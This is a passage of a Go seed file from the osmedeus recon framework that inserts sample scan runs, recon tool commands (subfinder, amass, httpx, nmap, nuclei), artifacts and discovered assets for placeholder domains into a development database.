Files
osmedeus/internal/database/seed.go
T
j3ssie 9bdb3260b6 feat(cli): add query command and enhanced asset/run management
- Add query subcommands (vulns, runs, steps) with JSON output and flexible filtering
- Enhance assets command with --where, --search, --value filters (fuzzy matching)
- Expand asset searchable columns (status_code, content_type, title, dns_records, tls, tech)
- Add run status and run cancel subcommands with process termination
- Support control-plane and PID-based cancellation with database updates
- Implement fuzzyFilters in GetTableRecords for case-insensitive substring matching
2026-03-01 10:54:49 +08:00

4437 lines
151 KiB
Go

package database
import (
"context"
"fmt"
"strings"
"time"
"github.com/google/uuid"
"github.com/uptrace/bun"
)
// SeedDatabase populates the database with sample data for development and testing
func SeedDatabase(ctx context.Context) error {
if db == nil {
return fmt.Errorf("database not connected")
}
// Generate unique IDs
scan1ID := uuid.New().String()
scan2ID := uuid.New().String()
scan3ID := uuid.New().String()
scan4ID := uuid.New().String() // secondary.com - part of batch job
scan5ID := uuid.New().String() // tertiary.io - part of batch job
// Run group ID for batch scanning demonstration (scan1, scan4, scan5 share this)
runGroup1ID := uuid.New().String()[:8]
now := time.Now()
oneHourAgo := now.Add(-1 * time.Hour)
twoHoursAgo := now.Add(-2 * time.Hour)
thirtyMinsAgo := now.Add(-30 * time.Minute)
oneDayAgo := now.Add(-24 * time.Hour)
threeDaysAgo := now.Add(-3 * 24 * time.Hour)
fiveDaysAgo := now.Add(-5 * 24 * time.Hour)
oneWeekAgo := now.Add(-7 * 24 * time.Hour)
twoWeeksAgo := now.Add(-14 * 24 * time.Hour)
oneMonthAgo := now.Add(-30 * 24 * time.Hour)
// Seed Runs - ID is auto-generated, use RunUUID as unique identifier
runs := []Run{
{
RunUUID: scan1ID,
RunGroupID: runGroup1ID, // Part of batch run group with scan4 and scan5
WorkflowName: "subdomain-enum",
WorkflowKind: "module",
Target: "example.com",
Params: map[string]interface{}{"threads": 10, "timeout": 300},
Status: "completed",
Workspace: "example.com",
StartedAt: &twoHoursAgo,
CompletedAt: &oneHourAgo,
TriggerType: "manual",
TotalSteps: 5,
CompletedSteps: 5,
CreatedAt: twoHoursAgo,
UpdatedAt: oneHourAgo,
},
{
RunUUID: scan2ID,
WorkflowName: "port-scan",
WorkflowKind: "module",
Target: "api.example.com",
Params: map[string]interface{}{"ports": "1-10000", "rate": 1000},
Status: "running",
Workspace: "api.example.com",
StartedAt: &thirtyMinsAgo,
TriggerType: "cron",
TriggerName: "daily-recon",
TotalSteps: 4,
CompletedSteps: 2,
CreatedAt: thirtyMinsAgo,
UpdatedAt: now,
},
{
RunUUID: scan3ID,
WorkflowName: "vuln-scan",
WorkflowKind: "flow",
Target: "staging.test.local",
Params: map[string]interface{}{"severity": "critical,high", "templates": "cves"},
Status: "failed",
Workspace: "staging.test.local",
StartedAt: &twoHoursAgo,
CompletedAt: &oneHourAgo,
ErrorMessage: "nuclei: template loading failed: connection timeout",
TriggerType: "manual",
TotalSteps: 6,
CompletedSteps: 3,
CreatedAt: twoHoursAgo,
UpdatedAt: oneHourAgo,
},
// Batch run group - scan4 and scan5 share runGroup1ID with scan1
{
RunUUID: scan4ID,
RunGroupID: runGroup1ID, // Part of batch run group with scan1 and scan5
WorkflowName: "subdomain-enum",
WorkflowKind: "module",
Target: "secondary.com",
Params: map[string]interface{}{"threads": 10, "timeout": 300},
Status: "completed",
Workspace: "secondary.com",
StartedAt: &twoHoursAgo,
CompletedAt: &oneHourAgo,
TriggerType: "manual",
TotalSteps: 5,
CompletedSteps: 5,
CreatedAt: twoHoursAgo,
UpdatedAt: oneHourAgo,
},
{
RunUUID: scan5ID,
RunGroupID: runGroup1ID, // Part of batch run group with scan1 and scan4
WorkflowName: "subdomain-enum",
WorkflowKind: "module",
Target: "tertiary.io",
Params: map[string]interface{}{"threads": 10, "timeout": 300},
Status: "running",
Workspace: "tertiary.io",
StartedAt: &thirtyMinsAgo,
TriggerType: "manual",
TotalSteps: 5,
CompletedSteps: 3,
CreatedAt: thirtyMinsAgo,
UpdatedAt: now,
},
}
// Insert runs and build a map of RunUUID -> ID for referencing in StepResults/Artifacts
runIDMap := make(map[string]int64)
for i := range runs {
if _, err := db.NewInsert().Model(&runs[i]).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert run: %w", err)
}
runIDMap[runs[i].RunUUID] = runs[i].ID
}
// Seed StepResults
stepResults := []StepResult{
// Run 1 steps (subdomain-enum - completed)
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
StepName: "subfinder",
StepType: "bash",
Status: "completed",
Command: "subfinder -d example.com -o {{Output}}/subdomain/sources/subfinder.txt",
Output: "Found 47 subdomains",
Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"},
DurationMs: 45000,
LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/subfinder.log",
StartedAt: &twoHoursAgo,
CompletedAt: timePtr(twoHoursAgo.Add(45 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
StepName: "amass",
StepType: "bash",
Status: "completed",
Command: "amass enum -passive -d example.com -o {{Output}}/subdomain/sources/amass.txt",
Output: "Found 82 subdomains",
Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"},
DurationMs: 120000,
LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/amass.log",
StartedAt: timePtr(twoHoursAgo.Add(45 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(165 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
StepName: "merge-subdomains",
StepType: "function",
Status: "completed",
Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')",
Output: "Merged 112 unique subdomains",
Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"},
DurationMs: 500,
StartedAt: timePtr(twoHoursAgo.Add(165 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(166 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
StepName: "httpx",
StepType: "bash",
Status: "completed",
Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json",
Output: "Probed 112 hosts, 78 alive",
Exports: map[string]interface{}{"httpx_output": "{{Output}}/http/httpx-output.json"},
DurationMs: 180000,
LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/httpx.log",
StartedAt: timePtr(twoHoursAgo.Add(166 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(346 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
StepName: "screenshot",
StepType: "bash",
Status: "completed",
Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/",
Output: "Captured 78 screenshots",
DurationMs: 300000,
LogFile: "/home/osmedeus/workspaces-osmedeus/example.com/logs/gowitness.log",
StartedAt: timePtr(twoHoursAgo.Add(346 * time.Second)),
CompletedAt: &oneHourAgo,
CreatedAt: twoHoursAgo,
},
// Run 2 steps (port-scan - running)
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
StepName: "masscan",
StepType: "bash",
Status: "completed",
Command: "masscan -p1-10000 --rate=1000 -iL {{targets}} -oG {{Output}}/ports/masscan.txt",
Output: "Scanned 1 host, found 23 open ports",
DurationMs: 600000,
LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/masscan.log",
StartedAt: &thirtyMinsAgo,
CompletedAt: timePtr(thirtyMinsAgo.Add(10 * time.Minute)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
StepName: "nmap-service-scan",
StepType: "bash",
Status: "running",
Command: "nmap -sV -sC -p{{ports}} -iL {{targets}} -oA {{Output}}/ports/nmap-services",
DurationMs: 0,
LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/nmap.log",
StartedAt: timePtr(thirtyMinsAgo.Add(10 * time.Minute)),
CreatedAt: thirtyMinsAgo,
},
// Run 3 steps (vuln-scan - failed)
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
StepName: "prepare-targets",
StepType: "function",
Status: "completed",
Command: "ReadFile('{{Input}}')",
Output: "Loaded 15 targets",
DurationMs: 100,
StartedAt: &twoHoursAgo,
CompletedAt: timePtr(twoHoursAgo.Add(100 * time.Millisecond)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
StepName: "nuclei",
StepType: "bash",
Status: "failed",
Command: "nuclei -l {{targets}} -severity critical,high -t cves/ -o {{Output}}/vuln/nuclei.txt",
ErrorMessage: "template loading failed: connection timeout",
DurationMs: 30000,
LogFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/logs/nuclei.log",
StartedAt: timePtr(twoHoursAgo.Add(100 * time.Millisecond)),
CompletedAt: timePtr(twoHoursAgo.Add(30 * time.Second)),
CreatedAt: twoHoursAgo,
},
// Additional steps for scan2ID (port-scan)
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
StepName: "port-filter",
StepType: "function",
Status: "completed",
Command: "FilterPorts('{{Output}}/ports/masscan.txt', '{{Output}}/ports/filtered-ports.txt', 'common')",
Output: "Filtered to 15 common service ports",
Exports: map[string]interface{}{"filtered_ports": "{{Output}}/ports/filtered-ports.txt"},
DurationMs: 200,
StartedAt: timePtr(thirtyMinsAgo.Add(10*time.Minute + 30*time.Second)),
CompletedAt: timePtr(thirtyMinsAgo.Add(10*time.Minute + 31*time.Second)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
StepName: "banner-grab",
StepType: "bash",
Status: "pending",
Command: "zgrab2 multiple -c {{Output}}/ports/zgrab-config.ini -o {{Output}}/ports/banners.json",
DurationMs: 0,
LogFile: "/home/osmedeus/workspaces-osmedeus/api.example.com/logs/zgrab.log",
CreatedAt: thirtyMinsAgo,
},
// Additional steps for scan3ID (vuln-scan - some completed before failure)
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
StepName: "validate-targets",
StepType: "function",
Status: "completed",
Command: "ValidateURLs('{{Input}}')",
Output: "Validated 15 URLs, 12 reachable",
Exports: map[string]interface{}{"valid_targets": "{{Output}}/valid-targets.txt"},
DurationMs: 5000,
StartedAt: timePtr(twoHoursAgo.Add(50 * time.Millisecond)),
CompletedAt: timePtr(twoHoursAgo.Add(5050 * time.Millisecond)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
StepName: "load-templates",
StepType: "bash",
Status: "completed",
Command: "nuclei -ut",
Output: "Templates updated: 4523 total",
DurationMs: 15000,
LogFile: "/home/osmedeus/workspaces-osmedeus/staging.test.local/logs/nuclei-update.log",
StartedAt: timePtr(twoHoursAgo.Add(5050 * time.Millisecond)),
CompletedAt: timePtr(twoHoursAgo.Add(20050 * time.Millisecond)),
CreatedAt: twoHoursAgo,
},
// Steps for scan4ID (secondary.com - completed batch job run)
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
StepName: "subfinder",
StepType: "bash",
Status: "completed",
Command: "subfinder -d secondary.com -o {{Output}}/subdomain/sources/subfinder.txt",
Output: "Found 32 subdomains",
Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"},
DurationMs: 38000,
LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/subfinder.log",
StartedAt: &twoHoursAgo,
CompletedAt: timePtr(twoHoursAgo.Add(38 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
StepName: "amass",
StepType: "bash",
Status: "completed",
Command: "amass enum -passive -d secondary.com -o {{Output}}/subdomain/sources/amass.txt",
Output: "Found 58 subdomains",
Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"},
DurationMs: 95000,
LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/amass.log",
StartedAt: timePtr(twoHoursAgo.Add(38 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(133 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
StepName: "merge-subdomains",
StepType: "function",
Status: "completed",
Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')",
Output: "Merged 75 unique subdomains",
Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"},
DurationMs: 400,
StartedAt: timePtr(twoHoursAgo.Add(133 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(134 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
StepName: "httpx",
StepType: "bash",
Status: "completed",
Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json",
Output: "Probed 75 hosts, 52 alive",
Exports: map[string]interface{}{"httpx_output": "{{Output}}/http/httpx-output.json"},
DurationMs: 145000,
LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/httpx.log",
StartedAt: timePtr(twoHoursAgo.Add(134 * time.Second)),
CompletedAt: timePtr(twoHoursAgo.Add(279 * time.Second)),
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
StepName: "screenshot",
StepType: "bash",
Status: "completed",
Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/",
Output: "Captured 52 screenshots",
DurationMs: 250000,
LogFile: "/home/osmedeus/workspaces-osmedeus/secondary.com/logs/gowitness.log",
StartedAt: timePtr(twoHoursAgo.Add(279 * time.Second)),
CompletedAt: &oneHourAgo,
CreatedAt: twoHoursAgo,
},
// Steps for scan5ID (tertiary.io - running batch job run)
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
StepName: "subfinder",
StepType: "bash",
Status: "completed",
Command: "subfinder -d tertiary.io -o {{Output}}/subdomain/sources/subfinder.txt",
Output: "Found 18 subdomains",
Exports: map[string]interface{}{"subfinder_output": "{{Output}}/subdomain/sources/subfinder.txt"},
DurationMs: 25000,
LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/subfinder.log",
StartedAt: &thirtyMinsAgo,
CompletedAt: timePtr(thirtyMinsAgo.Add(25 * time.Second)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
StepName: "amass",
StepType: "bash",
Status: "completed",
Command: "amass enum -passive -d tertiary.io -o {{Output}}/subdomain/sources/amass.txt",
Output: "Found 34 subdomains",
Exports: map[string]interface{}{"amass_output": "{{Output}}/subdomain/sources/amass.txt"},
DurationMs: 78000,
LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/amass.log",
StartedAt: timePtr(thirtyMinsAgo.Add(25 * time.Second)),
CompletedAt: timePtr(thirtyMinsAgo.Add(103 * time.Second)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
StepName: "merge-subdomains",
StepType: "function",
Status: "completed",
Command: "SortUnique('{{Output}}/subdomain/sources/*.txt', '{{Output}}/subdomain/final-subdomains.txt')",
Output: "Merged 42 unique subdomains",
Exports: map[string]interface{}{"subdomains": "{{Output}}/subdomain/final-subdomains.txt"},
DurationMs: 350,
StartedAt: timePtr(thirtyMinsAgo.Add(103 * time.Second)),
CompletedAt: timePtr(thirtyMinsAgo.Add(104 * time.Second)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
StepName: "httpx",
StepType: "bash",
Status: "running",
Command: "httpx -l {{subdomains}} -json -o {{Output}}/http/httpx-output.json",
DurationMs: 0,
LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/httpx.log",
StartedAt: timePtr(thirtyMinsAgo.Add(104 * time.Second)),
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
StepName: "screenshot",
StepType: "bash",
Status: "pending",
Command: "gowitness file -f {{Output}}/http/alive-hosts.txt -P {{Output}}/screenshots/",
DurationMs: 0,
LogFile: "/home/osmedeus/workspaces-osmedeus/tertiary.io/logs/gowitness.log",
CreatedAt: thirtyMinsAgo,
},
}
for _, step := range stepResults {
if _, err := db.NewInsert().Model(&step).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert step result: %w", err)
}
}
// Seed Artifacts
artifacts := []Artifact{
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
Workspace: "example.com",
Name: "final-subdomains.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/subdomain/final-subdomains.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 2847,
LineCount: 112,
Description: "Merged unique subdomains from all sources",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
Workspace: "example.com",
Name: "alive-hosts.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/http/alive-hosts.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 1956,
LineCount: 78,
Description: "HTTP-responsive hosts from httpx probe",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
Workspace: "example.com",
Name: "httpx-output.json",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/http/httpx-output.json",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeJSON,
SizeBytes: 156789,
LineCount: 78,
Description: "Full httpx probe results with headers and tech detection",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
Workspace: "api.example.com",
Name: "masscan.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/masscan.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 892,
LineCount: 23,
Description: "Open ports discovered by masscan",
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan1ID],
Workspace: "example.com",
Name: "screenshots",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/example.com/screenshots/",
ArtifactType: ArtifactTypeScreenshot,
ContentType: ContentTypeFolder,
SizeBytes: 15728640,
LineCount: 78,
Description: "GoWitness screenshot captures",
CreatedAt: oneHourAgo,
},
// Additional artifacts for scan2ID (port-scan)
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
Workspace: "api.example.com",
Name: "nmap-services.xml",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/nmap-services.xml",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeUnknown,
SizeBytes: 45678,
LineCount: 890,
Description: "Nmap service detection XML output with version info",
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
Workspace: "api.example.com",
Name: "port-summary.csv",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/ports/port-summary.csv",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeUnknown,
SizeBytes: 1234,
LineCount: 24,
Description: "Summary of open ports with service names",
CreatedAt: thirtyMinsAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan2ID],
Workspace: "api.example.com",
Name: "targets.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/api.example.com/targets.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 156,
LineCount: 5,
Description: "Input target IPs for port scanning",
CreatedAt: thirtyMinsAgo,
},
// Artifacts for scan3ID (vuln-scan - failed but has some outputs)
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
Workspace: "staging.test.local",
Name: "nuclei-partial.json",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local/vuln/nuclei-partial.json",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeJSON,
SizeBytes: 8923,
LineCount: 45,
Description: "Partial nuclei results before failure",
CreatedAt: twoHoursAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan3ID],
Workspace: "staging.test.local",
Name: "targets-prepared.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/staging.test.local/targets-prepared.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 345,
LineCount: 15,
Description: "Prepared target list for vulnerability scanning",
CreatedAt: twoHoursAgo,
},
// Artifacts for scan4ID (secondary.com - completed batch job)
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
Workspace: "secondary.com",
Name: "final-subdomains.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/subdomain/final-subdomains.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 1892,
LineCount: 75,
Description: "Merged unique subdomains from all sources",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
Workspace: "secondary.com",
Name: "alive-hosts.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/http/alive-hosts.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 1304,
LineCount: 52,
Description: "HTTP-responsive hosts from httpx probe",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
Workspace: "secondary.com",
Name: "httpx-output.json",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/http/httpx-output.json",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeJSON,
SizeBytes: 98456,
LineCount: 52,
Description: "Full httpx probe results with headers and tech detection",
CreatedAt: oneHourAgo,
},
{
ID: uuid.New().String(),
RunID: runIDMap[scan4ID],
Workspace: "secondary.com",
Name: "screenshots",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/secondary.com/screenshots/",
ArtifactType: ArtifactTypeScreenshot,
ContentType: ContentTypeFolder,
SizeBytes: 10485760,
LineCount: 52,
Description: "GoWitness screenshot captures",
CreatedAt: oneHourAgo,
},
// Artifacts for scan5ID (tertiary.io - running batch job)
{
ID: uuid.New().String(),
RunID: runIDMap[scan5ID],
Workspace: "tertiary.io",
Name: "final-subdomains.txt",
ArtifactPath: "/home/osmedeus/workspaces-osmedeus/tertiary.io/subdomain/final-subdomains.txt",
ArtifactType: ArtifactTypeOutput,
ContentType: ContentTypeText,
SizeBytes: 1056,
LineCount: 42,
Description: "Merged unique subdomains from all sources",
CreatedAt: thirtyMinsAgo,
},
}
for _, artifact := range artifacts {
if _, err := db.NewInsert().Model(&artifact).Exec(ctx); err != nil {
return fmt.Errorf("failed to insert artifact: %w", err)
}
}
// Seed Assets
assets := []Asset{
{
Workspace: "example.com",
AssetValue: "example.com",
URL: "https://example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 12567,
Title: "Example Domain",
Words: 234,
Lines: 89,
HostIP: "93.184.216.34",
DnsRecords: []string{"93.184.216.34"},
TLS: "TLS 1.3",
AssetType: "http",
Technologies: []string{"Nginx", "CloudFlare"},
ResponseTime: "145ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "www.example.com",
URL: "https://www.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 301,
ContentType: "text/html",
ContentLength: 162,
Title: "301 Moved Permanently",
HostIP: "93.184.216.34",
DnsRecords: []string{"93.184.216.34"},
TLS: "TLS 1.3",
Technologies: []string{"Nginx"},
ResponseTime: "98ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "api.example.com",
URL: "https://api.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "application/json",
ContentLength: 45,
Title: "",
HostIP: "93.184.216.35",
DnsRecords: []string{"93.184.216.35"},
TLS: "TLS 1.3",
AssetType: "http",
Technologies: []string{"Express", "Node.js"},
ResponseTime: "67ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "admin.example.com",
URL: "https://admin.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 403,
ContentType: "text/html",
ContentLength: 548,
Title: "403 Forbidden",
HostIP: "93.184.216.36",
DnsRecords: []string{"93.184.216.36"},
TLS: "TLS 1.2",
Technologies: []string{"Apache", "ModSecurity"},
ResponseTime: "234ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "mail.example.com",
URL: "https://mail.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 8923,
Title: "Webmail Login",
HostIP: "93.184.216.37",
DnsRecords: []string{"93.184.216.37"},
TLS: "TLS 1.3",
Technologies: []string{"Roundcube", "PHP"},
ResponseTime: "312ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "blog.example.com",
URL: "https://blog.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 45678,
Title: "Example Blog - Tech Insights",
Words: 1234,
Lines: 456,
HostIP: "93.184.216.38",
DnsRecords: []string{"93.184.216.38"},
TLS: "TLS 1.3",
Technologies: []string{"WordPress", "PHP", "MySQL"},
ResponseTime: "456ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "dev.example.com",
URL: "http://dev.example.com/",
Scheme: "http",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 2345,
Title: "Development Server",
HostIP: "10.0.0.50",
DnsRecords: []string{"10.0.0.50"},
Technologies: []string{"Python", "Flask", "Gunicorn"},
ResponseTime: "23ms",
Remarks: []string{"Internal development server - no TLS"},
Source: "httpx",
LastSeenAt: threeDaysAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "staging.example.com",
URL: "https://staging.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 401,
ContentType: "text/html",
ContentLength: 234,
Title: "Authentication Required",
HostIP: "93.184.216.40",
DnsRecords: []string{"93.184.216.40"},
TLS: "TLS 1.3",
Technologies: []string{"Nginx"},
ResponseTime: "89ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "cdn.example.com",
URL: "https://cdn.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/plain",
ContentLength: 0,
HostIP: "104.16.123.96",
DnsRecords: []string{"104.16.123.96", "104.16.124.96"},
TLS: "TLS 1.3",
Technologies: []string{"CloudFlare CDN"},
ResponseTime: "12ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "status.example.com",
URL: "https://status.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 5678,
Title: "System Status - All Systems Operational",
Words: 89,
Lines: 34,
HostIP: "93.184.216.42",
DnsRecords: []string{"93.184.216.42"},
TLS: "TLS 1.3",
Technologies: []string{"Statuspage.io"},
ResponseTime: "156ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
// Additional assets for better testing
{
Workspace: "example.com",
AssetValue: "shop.example.com",
URL: "https://shop.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 89234,
Title: "Example Shop - Online Store",
Words: 2456,
Lines: 678,
HostIP: "93.184.216.50",
DnsRecords: []string{"93.184.216.50"},
TLS: "TLS 1.3",
Technologies: []string{"Shopify", "React", "Node.js"},
ResponseTime: "234ms",
Source: "httpx",
LastSeenAt: oneHourAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "docs.example.com",
URL: "https://docs.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 34567,
Title: "Documentation - Example",
Words: 1890,
Lines: 456,
HostIP: "93.184.216.51",
DnsRecords: []string{"93.184.216.51"},
TLS: "TLS 1.3",
Technologies: []string{"Docusaurus", "React", "Algolia"},
ResponseTime: "123ms",
Source: "httpx",
LastSeenAt: oneDayAgo,
CreatedAt: oneHourAgo,
UpdatedAt: oneHourAgo,
},
{
Workspace: "example.com",
AssetValue: "support.example.com",
URL: "https://support.example.com/",
Scheme: "https",
Method: "GET",
Path: "/",
StatusCode: 200,
ContentType: "text/html",
ContentLength: 23456,
Title: "Support Center - Example",
Words: 567,
Lines: 189,
HostIP: "93.184.216.52",
DnsRecords: []string{"93.184.216.52"},
TLS: "TLS 1.3",
Technologies: []string{"Zendesk", "jQuery"},
ResponseTime: "189ms",
Source: "httpx",
